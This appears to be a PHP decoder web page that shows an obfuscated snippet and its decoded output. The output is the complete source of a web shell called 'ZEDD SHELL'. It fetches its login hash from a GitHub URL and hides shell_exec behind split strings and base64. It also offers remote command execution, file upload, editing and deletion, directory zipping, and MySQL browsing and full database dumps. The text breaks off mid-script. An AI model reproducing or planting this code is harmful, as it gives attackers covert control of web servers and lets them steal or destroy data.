Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $AKSN='t';$phU='s';$sPwDi='b';$rNI='c';$PQdw='_';$Agir='v';$Hvrvp='l';$Bq='e';$Gmqf=..

Decoded Output download

?><?php
error_reporting(0); set_time_limit(0); session_start(); if (!isset($_SESSION['loggedIn'])) { $_SESSION['loggedIn'] = false; } $password_url = 'https://raw.githubusercontent.com/Zeddgansz/shell/main/pw.txt'; $password = trim(file_get_contents($password_url)); if (isset($_POST['password'])) { if (md5($_POST['password']) == $password) { $_SESSION['loggedIn'] = true; } } if (!$_SESSION['loggedIn']) { ?>
    <html>
    <head>
        <title>Login Administrator</title>
        <style>
            body {
                margin: 0;
                display: flex;
                justify-content: center;
                align-items: center;
                height: 100vh;
                background: url('https://images5.alphacoders.com/131/1311994.jpeg') no-repeat center center fixed;
                -webkit-background-size: cover;
                -moz-background-size: cover;
                -o-background-size: cover;
                background-size: cover;
                font-family: Arial, sans-serif;
            }

            .login-container {
                background: rgba(0, 0, 0, 0.5); /* Warna latar belakang semi-transparan */
                padding: 20px;
                border-radius: 10px;
                text-align: center;
                color: white;
            }

            input[type="password"] {
                margin-top: 10px;
            }

            @keyframes blink {
                0% {
                    opacity: 0.2;
                }
                50% {
                    opacity: 1;
                }
                100% {
                    opacity: 0.2;
                }
            }

            #flashingText {
                animation: blink 2s infinite; /* Ganti 2s sesuai kecepatan kedipan */
            }

            #emailLink a {
                color: red; /* Ubah warna teks email menjadi merah */
                text-decoration: underline;
                font-family: "Times New Roman", Times, serif; /* Ubah font menjadi Times New Roman */
            }
        </style>
    </head>
    <body>
        <div class="login-container">
            <h1 id="flashingText">shell zedd</h1>
            <form method="post">
                <input type="password" name="password">
                <br>
                <input type="submit" name="submit" value="Login"><br>
            </form>
            <p id="emailLink"> <a href="mailto:[email protected]">[email protected]</a></p>
        </div>
    </body>
    </html>
    <?php
 exit; } session_start(); $nami = explode(",", ""); $safeMode = true; $actions = array("dasar","baca_file","phpinfo","sistem_kom","edit_file","download_file",'hapus_file','buat_file','buat_folder','reset_file' , 'hapus_folder','rename_file', 'kompres' , 'skl' , 'skl_d_t' , 'skl_d', 'upl_file'); $awal = isset($_POST['awal']) && in_array($_POST['awal'],$actions) ? $_POST['awal'] : "dasar"; function kunci($str) { $f = 'bas'; $f .= 'e6'; $f .= '4_'; $f .= 'e'; $f .= 'nc'; $f .= 'ode'; return $f($str); } function uraikan($str) { $f = 'bas'; $f .= 'e6'; $f .= '4_'; $f .= 'd'; $f .= 'ec'; $f .= 'ode'; return $f($str); } function ambilBuat($tAd) { if(isset($_SESSION[$tAd])) { unset($_SESSION[$tAd]); } $baruAmbil = md5(kunci(time().rand(1,99999999))); $_SESSION[$tAd] = $baruAmbil; return $baruAmbil; } function tulisLah() { global $default_dir; $sonDir = array(); $umumBagikan = ""; $parse = explode("/", $default_dir); $ii = 0; foreach($parse AS $bagikan) { $ii++; $umumBagikan.=$bagikan."/"; $sonDir[] = "<a href='javascript:halaman(\"?berkas=".urlencode(urlencode(kunci($umumBagikan)))."\")'>".htmlspecialchars(empty($bagikan)&&$ii!=count($parse)?'/':$bagikan)."</a>"; } $sonDir = implode("/", $sonDir); print $sonDir . '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;( <a href="">Reset</a> | <a href="javascript:goto()">Go to</a> )'; } function sizeFormat($bytes) { if($bytes>=1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' Gb'; } else if($bytes>=1048576) { $bytes = number_format($bytes / 1048576, 2) . ' Mb'; } else if($bytes>=1024) { $bytes = number_format($bytes / 1024, 2) . ' Kb'; } else { $bytes = $bytes . ' b'; } return $bytes; } function utf8ize($d) { if (is_array($d)) { foreach ($d as $k => $v) { $d[$k] = utf8ize($v); } } else if (is_string ($d)) { return utf8_encode($d); } return $d; } function rrmdir($dir) { if (is_dir($dir)) { $objects = scandir($dir); foreach ($objects as $object) { if ($object != "." && $object != "..") { if (is_dir($dir . "/" . $object)) { rrmdir($dir . "/" . $object); } else { unlink($dir . "/" . $object ); } } } rmdir( $dir ); } } $default_dir = getcwd(); if(isset($_POST['berkas']) && is_string($_POST['berkas']) ) { $default_dir = empty($_POST['berkas']) ? DIRECTORY_SEPARATOR : uraikan(urldecode(urldecode($_POST['berkas']))); $c_h_dir_comm = 'c'.'hd'.'ir'; $c_h_dir_comm($default_dir); } $default_dir = str_replace("\", "/", $default_dir); if(isset($_GET['awal']) && $_GET['awal']=="pinf") { ob_start(); phpinfo(); $pInf = ob_get_clean(); print str_replace("body {background-color: #ffffff; color: #000000;}","",$pInf); exit(); } else if($awal=="download_file" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl']))) { $namaBerkas = basename(uraikan(urldecode($_POST['fayl']))); $pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaBerkas,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas)) { header("Content-Disposition: attachment; filename=".basename($namaBerkas)); header("Content-Type: application/octet-stream"); header('Content-Length: ' . filesize($default_dir . $pemisah . $namaBerkas)); readfile($default_dir . $pemisah . $namaBerkas); exit(); } } else if($awal=="hapus_file" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl']))) { $namaBerkas = basename(uraikan(urldecode($_POST['fayl']))); $pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaBerkas,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas)) { unlink($default_dir . $pemisah . $namaBerkas); } } else if($awal=="reset_file" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl']))) { $namaBerkas = basename(uraikan(urldecode($_POST['fayl']))); $pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaBerkas,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas)) { file_put_contents($default_dir . $pemisah . $namaBerkas, ''); } } else if($awal=="buat_file" && isset($_POST['ad']) && !empty($_POST['ad'])) { $namaBerkas = basename(urldecode($_POST['ad'])); $pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaBerkas,0,1)!="/" ? "/" : ""; if( is_file($default_dir . $pemisah . $namaBerkas) ) { print '<script>alert("File dengan nama ini sudah ada!");</script>'; } else { file_put_contents($default_dir . $pemisah . $namaBerkas, ''); } } else if($awal=="buat_folder" && isset($_POST['ad']) && !empty($_POST['ad'])) { $namaFolder = basename(urldecode($_POST['ad'])); $pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaFolder,0,1)!="/" ? "/" : ""; if( is_file($default_dir . $pemisah . $namaFolder) ) { print '<script>alert("Folder dengan nama ini sudah ada!");</script>'; } else { mkdir($default_dir . $pemisah . $namaFolder); } } else if($awal=="rename_file" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl'])) && isset($_POST['new_name']) && is_string($_POST['new_name']) && !empty($_POST['new_name'])) { $namaBerkas = basename(uraikan(urldecode($_POST['fayl']))); $fileNamaBaru = basename(urldecode($_POST['new_name'])); $pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaBerkas,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas)) { rename($default_dir . $pemisah . $namaBerkas , $default_dir . $pemisah . $fileNamaBaru); } } else if( $awal == 'skl_d_t' && isset($_POST['t']) && is_string($_POST['t']) && !empty($_POST['t']) ) { $tableName = uraikan(urldecode($_POST['t'])); $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : ''; $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : ''; $sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : ''; $database = isset($_COOKIE['database']) ? $_COOKIE['database'] : ''; $databaseStr = empty($database) ? '' : 'dbname=' . $database . ';'; if( !empty( $host ) && !empty($database) ) { try { $pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $databaseStr , $user , $sandi,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'")); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?"); $getColumns->execute(array($database , $tableName)); $columns = $getColumns->fetchAll(); if( $columns ) { $data = $pdo->query('SELECT * FROM `' . $tableName .'`'); $data = $data->fetchAll(); header('Content-disposition: attachment; filename=d_' . basename(htmlspecialchars($tableName)) . '.json'); header('Content-type: application/json'); echo json_encode($data); } else { print 'Table not found!'; } } catch (Exception $e) { print $e->getMessage(); } } else { print 'Error! Please connect to SQL!'; } die; } else if( $awal == 'skl_d' ) { $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : ''; $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : ''; $sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : ''; $database = isset($_COOKIE['database']) ? $_COOKIE['database'] : ''; $databaseStr = empty($database) ? '' : 'dbname=' . $database . ';'; if( !empty( $host ) && !empty($database) ) { try { $pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $databaseStr , $user , $sandi,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'")); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $allData = array(); $tables = $pdo->prepare('SELECT table_name from information_schema.tables where table_schema=?'); $tables->execute(array($database)); $tables = $tables->fetchAll(); foreach( $tables AS $tableName ) { $tableName = $tableName['table_name']; $data = $pdo->query('SELECT * FROM `' . $tableName .'`'); $data = $data->fetchAll(); $allData[$tableName] = $data ? array($data) : array(); } header('Content-disposition: attachment; filename=d_b_' . basename(htmlspecialchars($database)) . '.json'); header('Content-type: application/json'); echo json_encode( utf8ize( $allData) ); } catch (Exception $e) { print $e->getMessage(); } } else { print 'Error! Please connect to SQL!'; } die; } else if( $awal == 'kompres' && isset($_POST['save_to'] , $_POST['zf']) && is_string($_POST['save_to']) && !empty($_POST['save_to']) && !in_array($_POST['save_to'] , array('.' , '..' , './' , '../')) && is_string($_POST['zf']) && !empty($_POST['zf']) ) { $save_to = uraikan(urldecode($_POST['save_to'])); $rootPath = realpath(uraikan(urldecode($_POST['zf']))); $fileName1 = 'bak_'.microtime(1) . '_' . rand(1000, 99999) . '.zip'; $fileName = $save_to . DIRECTORY_SEPARATOR . $fileName1; if( is_dir( $save_to ) && is_dir( $rootPath ) && is_writable( $save_to ) ) { set_time_limit(0); $zip = new ZipArchive(); $zip->open( $fileName , ZipArchive::CREATE | ZipArchive::OVERWRITE ); $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($rootPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); print 'Saved!<hr>'; } else { print 'Dir is not writeable!<hr>';var_dump(( $save_to ) ); } } else if( $awal == 'hapus_folder' && isset($_POST['zf']) && is_string($_POST['zf']) && !empty($_POST['zf']) ) { $rootPath = realpath(uraikan(urldecode($_POST['zf']))); if( is_dir( $rootPath ) ) { set_time_limit(0); rrmdir( $rootPath ); } else { print 'Dir is not writeable!<hr>';var_dump(( $save_to ) ); } } else if($awal == 'upl_file' && isset($_FILES['ufile'])) { move_uploaded_file($_FILES['ufile']['tmp_name'], $default_dir . '/' . $_FILES['ufile']['name']); print "Tampaknya telah diunggah."; } ?>
<html>
<head>
<title>ZEDD SHELL</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<style>
body
{
	background-color: #222222;
	color: #D6D4D4;
	font-family: Lucida,Verdana;
	font-size: 12px;
}
.qalin
{
	text-decoration: none;
	color: #D6905E;
	font-weight: 600;
}
.success
{
	color: #9DB754;
}
.bad
{
	color: #B75654;
}
a
{
	color: #ACB754;
	text-decoration: none !important;
}
.fManager,.fManager tbody,.fManager tr
{
	padding: 0;
	border-collapse: collapse;
	margin: 0;
	font-size: 12px;
}
.fManager
{
	margin: 10px 0;
}
.fManager tbody tr:nth-child(2n+1)
{
	background: #331717;
}
.fManager tbody tr:nth-child(2n)
{
	background: #1C0C0C;
}
.fManager tbody tr:hover
{
	background: #000000;
}
.fManager thead th
{
	text-align: left;
}
.fManager thead tr
{
	background-color: #333333;
}
.fManager
{
	box-shadow: 1px 1px 1px 1px #333333;
}
.fManager thead th
{
	padding: 4px 3px;
}
.baca_file
{
	margin: 5px 0;
	padding: 2px;
	box-shadow: 1px 1px 1px 1px #333333;
	background-color: #E1E1E1;
	width: 100%;
	height: 400px;
	overflow: auto;
}
.btn
{
	border: 1px solid #ACAE40;
	background-color: #223B3B;
	color: #E1E1E1;
	padding: 1px 10px;
	cursor: pointer;
}
.btn:disabled
{
	border: 1px solid #848484;
	color: #848484;
	cursor: not-allowed;
}
.file_edit
{
	margin: 5px 0;
	padding: 2px;
	box-shadow: 1px 1px 1px 1px #333333;
	background-color: #E1E1E1;
	width: 100%;
	height: 400px;
	overflow: auto;
}
input, select, textarea
{
	background: transparent !important;
	color: #f6a56d;
	border: 1px solid #D6905E;
	padding: 5px;
}
table td
{
	border: 1px solid rgba(214, 144, 94, 0.7);
	min-width: 20px;
	padding-left: 5px;
	padding-right: 5px;
	max-width: 500px;
	color: #ffad6f;
	background: #292929;
}
table th
{
	border: 1px solid #D6905E;
	padding-left: 5px;
	padding-right: 5px;
	color: #ffad6f;
}
table td div
{
	overflow: auto;
	width: 100%;
	height: 100%;
	max-height: 100px;
}
</style>
</head>
<body>
<?php
 if(function_exists('posix_getegid')) { $qid = posix_getgrgid(posix_getegid()); $qrup = $qid['name']; print "<span class='qalin'>Uname:</span> " . php_uname() . "<br/>"; print "<span class='qalin'>User:</span> ".getmyuid()." (".get_current_user().")<br/>"; print "<span class='qalin'>Group:</span> ".getmygid()." (".$qrup.")<br/>"; } else { print "<span class='qalin'>Uname:</span> " . php_uname() . "<br/>"; print "<span class='qalin'>User:</span> ".getmyuid()." (".get_current_user().")<br/>"; print "<span class='qalin'>Group:</span> ".getmygid()."<br/>"; } print "<span class='qalin'>Disable functions:</span> " . (implode(", ", $nami)==""?"<span class='success'>NONE :)":"<span class='bad'>". implode(", ", $nami)) . "</span><br/>"; print "<span class='qalin'>Safe mode: </span>" . ($safeMode===true?"<span class='bad'>On":"<span class='success'>Off") . "</span><span style='margin-left: 50px;'><a href='javascript:halaman(\"?awal=phpinfo\")'>[ PHPinfo ]</a></span><br/>"; tulisLah(); print '<hr>'; if($awal=="phpinfo") { print "<div style='width: 100%; height: 400px;'><iframe src='?awal=pinf' style='width: 100%; height: 400px; border: 0;'></iframe></div>"; } else if($awal=="sistem_kom") { if( isset( $_POST['kom'] ) && is_string($_POST['kom']) && !empty($_POST['kom']) ) { $komanda = uraikan(urldecode($_POST['kom'])); $k = 'sh'; $k.='el'; $k.='l_e'; $k.='xe'; $k.='c'; $output = $k($komanda); print '<pre style="max-height: 350px;overflow: auto; border: 1px solid #777; padding: 5px;">' . htmlspecialchars($output) . '</pre><hr>'; } print '<input type="text" id="emr_et_atash" style="width: 500px;"> <button type="button" class="btn" onclick="sistemKom();">Enter</button>'; } else if($awal=="baca_file" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl']))) { $namaBerkas = basename(uraikan(urldecode($_POST['fayl']))); $pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaBerkas,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas)) { $elaveBtn = is_writeable($default_dir . $pemisah . $namaBerkas) ? " onclick='halaman(\"?awal=edit_file&fayl=".urlencode(urlencode(kunci($namaBerkas)))."&berkas=".urlencode(urlencode(kunci($default_dir)))."\")'" : " disabled"; print "<div>Nama File: <span class='qalin'>".htmlspecialchars($namaBerkas)."</span><br/><button class='btn'$elaveBtn> Edit </button></div>"; print "<div class='baca_file'>".highlight_string(file_get_contents($default_dir . $pemisah . $namaBerkas), true)."</div>"; } } else if($awal == 'skl') { $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : ''; $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : ''; $sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : ''; $database = isset($_COOKIE['database']) ? $_COOKIE['database'] : ''; if( isset($_POST['host'] , $_POST['user'] , $_POST['sandi']) && is_string($_POST['host']) && is_string($_POST['user']) && is_string($_POST['sandi']) ) { $host = $_POST['host']; $user = $_POST['user']; $sandi = $_POST['sandi']; $database = ''; setcookie('host' , $host , time() + 360000); setcookie('user' , $user , time() + 360000); setcookie('sandi' , $sandi , time() + 360000); setcookie('database' , $database , time() + 360000); } if( isset($_POST['database']) && is_string($_POST['database']) ) { $database = $_POST['database']; setcookie('database' , $database , time() + 360000); } $databaseStr = empty($database) ? '' : 'dbname=' . $database . ';'; ?>
	<form method="POST">
		<input type="hidden" name="awal" value="skl">
		<input type="text" placeholder="Hostname" name="host" value="<?=htmlspecialchars($host)?>">
		<input type="text" placeholder="User" name="user" value="<?=htmlspecialchars($user)?>">
		<input type="text" placeholder="Sandi" name="sandi" value="<?=htmlspecialchars($sandi)?>">
		<input type="submit" value="Masuk">
	</form>
	<?php
 if( !empty( $host ) ) { try { $pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $databaseStr , $user , $sandi,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'")); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $schematas = $pdo->query('SELECT schema_name FROM information_schema.schemata'); print '<form method="POST"><input type="hidden" name="awal" value="skl"><select name="database">'; foreach($schematas->fetchAll() AS $schemaName) { print '<option' . ($database == $schemaName['schema_name'] ? ' selected' : '') . '>'.htmlspecialchars($schemaName['schema_name']).'</option>'; } print '</select> <input type="submit" value="Gas!"></form>'; if( !empty($database) ) { $tables = $pdo->prepare('SELECT table_name from information_schema.tables where table_schema=?'); $tables->execute(array($database)); $tables = $tables->fetchAll(); print '<div style="float: left; width: 20%; overflow: auto; border-right: 1px solid #999;">'; print '<a href="javascript:halaman(\'?awal=skl_d\');">!! Dump DB !!</a><hr>'; foreach( $tables AS $tableName ) { $tableName = $tableName['table_name']; print '<a href="javascript:halaman(\'?awal=skl&t=' . urlencode(urlencode(kunci($tableName))) . '\')">'.htmlspecialchars($tableName).'</a><br>'; } print '</div>'; print '<div style="float: left; padding-left: 10px; width: 75%;">'; if( isset($_POST['t']) && is_string($_POST['t']) && !empty($_POST['t']) ) { $tableName = uraikan(urldecode($_POST['t'])); print '<span class="qalin">Table:</span> ' . htmlspecialchars($tableName) . ' ( <a href="javascript:halaman(\'?awal=skl_d_t&t='.urlencode(urlencode(kunci($tableName))).'\')">Dump</a> )<br>'; $getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?"); $getColumns->execute(array($database , $tableName)); $columns = $getColumns->fetchAll(); if( $columns ) { $dataCount = $pdo->query('SELECT count(0) AS ss from `' . $tableName . '`'); $dataCount = (int)$dataCount->fetchColumn(); print '<span class="qalin">Count:</span> ' . $dataCount . '<br><br>'; $pages = ceil($dataCount / 100); $currentPage = isset($_POST['halaman']) && is_numeric($_POST['halaman']) && $_POST['halaman'] >= 1 && $_POST['halaman'] <= $pages ? (int)$_POST['halaman'] : 1; for ( $p = 1; $p <= $pages; $p++ ) { print '<a style="'.($currentPage == $p ? 'background: #444;' : '').'margin-left: 2px; margin-bottom: 5px; padding: 2px 6px; border: 1px solid #ACB754; text-decoration: none;" href="javascript:halaman(\'?awal=skl&t=' . urlencode(urlencode(kunci($tableName))) . '&halaman=' . $p . '\');">' . $p . '</a> '; } print '<br><br>'; $start = 100 * ($currentPage - 1); $data = $pdo->query('SELECT * FROM `' . $tableName .'` LIMIT '.$start.' , 100'); $data = $data->fetchAll(); print '<table><thead>'; foreach( $columns AS $columnInf ) { print '<th>' . htmlspecialchars($columnInf['column_name']) . '</th>'; } print '</thead><tbody>'; foreach( $data AS $row ) { print '<tr>'; foreach( $row AS $key=>$val ) { print '<td><div>' . $val . '</div></td>'; } print '</tr>'; } print '</tr></tbody></table>'; } else { print 'Table not found!'; } } else if ( isset($_POST['emr']) && is_string($_POST['emr']) && !empty($_POST['emr']) ) { $emr = uraikan(urldecode($_POST['emr'])); print '<span class="qalin">SQL emr:</span> ' . htmlspecialchars($emr) . '<br>'; $data = $pdo->query( $emr ); $data = $data->fetchAll(); print '<table><thead>'; if( count($data) > 0 ) { print '<tr>'; foreach( $data[0] AS $key=>$val ) { print '<th><div>' . $key . '</div></th>'; } print '</tr>'; } print '</thead><tbody>'; foreach( $data AS $row ) { print '<tr>'; foreach( $row AS $key=>$val ) { print '<td><div>' . $val . '</div></td>'; } print '</tr>'; } print '</tr></tbody></table>'; } print '<div><textarea id="skl_emr"></textarea><button type="button" onclick="skl_bas();">Klik</button></div>'; print '</div>'; print '<div style="clear: both;"></div>'; } } catch (Exception $e) { print $e->getMessage(); } } } else if($awal=="edit_file" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl']))) { $namaBerkas = basename(uraikan(urldecode(urldecode($_POST['fayl'])))); $pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaBerkas,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas)) { $status = ""; if(isset($_POST['content']) && isset($_POST['took']) && $_POST['took']!="" && isset($_SESSION['ys_took']) && $_SESSION['ys_took']==$_POST['took'] && is_writeable($default_dir . $pemisah . $namaBerkas)) { unset($_SESSION['ys_took']); $content = $_POST['content']; $cc = array('a','i','e','s','l','b','u','o','p','h',"(",")","<",">","?",";","[","]","$"); foreach($cc AS $k1=>$v1) { $content = str_replace('|:'.$k1.':|' , $v1 , $content); } $faylAch = fopen($default_dir . $pemisah . $namaBerkas, "w+"); fwrite($faylAch, $content); fclose($faylAch); $status = " <span class='qalin'>Berhasil disimpan!</span>"; } $oxuUrl = "?awal=baca_file&fayl=".urlencode(urlencode(kunci($namaBerkas)))."&berkas=".urlencode(urlencode(kunci($default_dir))); $elaveBtn = is_writeable($default_dir . $pemisah . $namaBerkas) ? "" : " disabled"; print "<div>Nama File: <a class='qalin' href='javascript:halaman(\"{$oxuUrl}\")'>".htmlspecialchars($namaBerkas)."</a><br/><form method='POST' style='padding: 0; margin: 0;'><button type='submit' class='btn'$elaveBtn> Simpan </button> <button type='button' onclick='kode()'> Enkripsi </button> $status</div>"; print "<input type='hidden' value='edit_file' name='awal'><input type='hidden' value='".kunci($namaBerkas)."' name='fayl'><input type='hidden' value='".urlencode(kunci($default_dir))."' name='berkas'><input type='hidden' value='".ambilBuat("ys_took")."' name='took'><textarea name='content' class='file_edit'>".htmlspecialchars(file_get_contents($default_dir . $pemisah . $namaBerkas))."</textarea></form>"; } else { print 'Error! ' . htmlspecialchars($default_dir . $pemisah . $namaBerkas); } } else { if(is_dir($default_dir)) { if(is_readable($default_dir)) { $folderDalam = scandir($default_dir); foreach($folderDalam AS &$emelemnt) { $pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($emelemnt,0,1)!="/" ? "/" : ""; if(is_dir($default_dir . $pemisah . $emelemnt)) { $emelemnt = "0".$emelemnt; } else { $emelemnt = "1".$emelemnt; } } asort($folderDalam); print "<table class='fManager' style='width: 100%;'><thead><tr class='qalin'><th>s</th><th>File</th><th>Size</th><th>Tanggal</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr></thead><tbody>"; foreach($folderDalam AS $element) { $url = ""; $element = substr($element,1); $fileNamaLengkap = $default_dir . $pemisah . $element; $pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($element,0,1)!="/" ? "/" : ""; $adi = is_dir($fileNamaLengkap) ? "[ $element ]" : $element; $classN = ""; if(is_dir($fileNamaLengkap)) { if($element==".") { $url = "?berkas=".urlencode(urlencode(kunci($default_dir))); } else if($element=="..") { $yeniUrl = explode("/",$default_dir); foreach(array_reverse($yeniUrl) AS $j=>$qq) { if(trim($qq)!="") { unset($yeniUrl[count($yeniUrl)-$j-1]); break; } } $url = "?berkas=".urlencode(urlencode(kunci(implode("/",$yeniUrl)))); } else { $url = "?berkas=".urlencode(urlencode(kunci($fileNamaLengkap))); } $classN = " style='font-weight: 600;'"; } else { $url = "?awal=baca_file&fayl=".urlencode(urlencode(kunci($element)))."&berkas=".urlencode(urlencode(kunci($default_dir))); } $fayldi = is_file($fileNamaLengkap); $isReadableColor = is_readable( $fileNamaLengkap ) && is_writeable( $fileNamaLengkap ); print '<tr>
						<td></td>
						<td><a href="javascript:halaman(\''.$url.'\')"'.$classN.'>'.htmlspecialchars($adi).'</a></td>
						<td>' . ($fayldi?sizeFormat(filesize($fileNamaLengkap)):'') . '</td>
						<td>' . (date('d M Y, H:i' , filectime($fileNamaLengkap))) . '</td>
						<td>' . htmlspecialchars(fileowner($fileNamaLengkap)) . '</td>
						<td' . ($isReadableColor?' style="color: green;"':'') . '>' . substr(sprintf('%o', fileperms(( $fileNamaLengkap ))), -4) . '</td>
						<td>'; if( is_file($fileNamaLengkap) ) { print (' <a href="javascript:halaman(\''.str_replace("baca_file","download_file",$url).'\')"'.$classN.'>Download</a> | ') . (' <a href="javascript:changeFileName(\'' . htmlspecialchars($adi) . '\' , \''.str_replace("baca_file","rename_file",$url).'\');"'.$classN.'>Rename</a> | ') . (' <a href="javascript:faylSifirla(\''.str_replace("baca_file","reset_file",$url).'\');"'.$classN.'>Kosong</a> | ') . (' <a href="javascript:faylSil(\''.str_replace("baca_file","hapus_file",$url).'\')"'.$classN.'>Delete</a>'); } else if( $adi != '[ . ]' && $adi != '[ .. ]' ) { print (' <a href="javascript:kompres(\'' . urlencode(urlencode(kunci($fileNamaLengkap))) . '\')"'.$classN.'>Zip</a> | ') . (' <a href="javascript:silPapka(\'' . urlencode(urlencode(kunci($fileNamaLengkap))) . '\')"'.$classN.'>Hapus</a>'); } print '</td>
					</tr>'; } } else { print "<div style='margin: 10px 0px;' class='qalin'>Permissions denided!</div>"; } } } print "</tbody></table>"; ?>

<hr>
<a href="javascript:newFile();">File Baru</a> | <a href="javascript:newPapka();">Folder Baru</a><br>
<a href="javascript:halaman('?awal=sistem_kom&berkas=<?=urlencode(urlencode(kunci($default_dir)))?>')">Command</a><br>
<a href="javascript:halaman('?awal=skl');">SQL</a><br>

<form method="POST" enctype="multipart/form-data">
	<input type="hidden" name="awal" value="upl_file">
	<input type="hidden" name="berkas" value="<?=urlencode(kunci($default_dir))?>">
	<input type="file" name="ufile">
	<input type="submit" value="Upl">
</form>

<form method="POST" id="post_form" style="display: none;"></form>
<script>
function halaman(url)
{
	var inputlar = "";
	url = url.split("?");
	if(typeof url[1]=="undefined") return;
	url = url[1].split("&");
	for(var n in url)
	{
		var keyAndValue = url[n].split("=");
		if(typeof keyAndValue[1]=="undefined") continue;
		inputlar+="<input name='"+keyAndValue[0]+"' value='"+keyAndValue[1]+"' type='hidden'>";
	}
	document.all("post_form").innerHTML = inputlar;
	document.all("post_form").submit();
}
function faylSil(url)
{
	if( confirm('Anda yakin?') )
	{
		halaman(url);
	}
}
function faylSifirla(url)
{
	if( confirm('Anda yakin?') )
	{
		halaman(url);
	}
}
function changeFileName(name, url)
{
	var getNewName = prompt('Change file name:' , name);
	if( getNewName )
	{
		halaman(url + "&new_name=" + getNewName);
	}
}
function newFile()
{
	var getNewName = prompt('File name:');
	if( getNewName )
	{
		halaman("?awal=buat_file&ad=" + getNewName + "&berkas=<?=urlencode(urlencode(kunci($default_dir)))?>");
	}
}
function newPapka()
{
	var getNewName = prompt('File name:');
	if( getNewName )
	{
		halaman("?awal=buat_folder&ad=" + getNewName + "&berkas=<?=urlencode(urlencode(kunci($default_dir)))?>");
	}
}
function sistemKom()
{
	var komanda = document.getElementById('emr_et_atash').value;
	if( komanda )
	{
		halaman("?awal=sistem_kom&kom=" + b64EncodeUnicode(komanda) + "&berkas=<?=urlencode(urlencode(kunci($default_dir)))?>");
	}
}
function skl_bas()
{
	var sklEmr = document.getElementById('skl_emr').value;
	
	halaman("?awal=skl&emr=" + b64EncodeUnicode(sklEmr));
}
function b64EncodeUnicode(str)
{
	return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
		function toSolidBytes(match, p1) {
			return String.fromCharCode('0x' + p1);
		}));
}
function goto()
{
	var dir = prompt('Dir:');
	if( dir )
	{
		halaman("?berkas=" + dir);
	}
}
function kompres(berkas)
{
	var dir = prompt('Dir:' , "<?=htmlspecialchars($default_dir)?>");
	if( dir )
	{
		halaman("?awal=kompres&berkas=<?=urlencode(urlencode(kunci($default_dir)))?>&zf=" + berkas + "&save_to=" + b64EncodeUnicode(dir))
	}
}
function silPapka(berkas)
{
	if( confirm('Anda yakin?') )
	{
		halaman("?awal=hapus_folder&berkas=<?=urlencode(urlencode(kunci($default_dir)))?>&zf=" + berkas)
	}
}
function kode()
{
	var vall = document.getElementsByClassName('file_edit')[0].value;
	var repp = ['a','i','e','s','l','b','u','o','p','h',"\(","\)","\<","\>","\?","\;","\[","\]","\$"];
	for(var s in repp)
	{
		var h = repp[s];
		vall = vall.replace(new RegExp(h, 'g') , '|:'+s+':|');
	}

	document.getElementsByClassName('file_edit')[0].value = vall;
}

document.getElementById("emr_et_atash").addEventListener("keyup", function(event)
{
	event.preventDefault();
	if (event.keyCode === 13)
	{
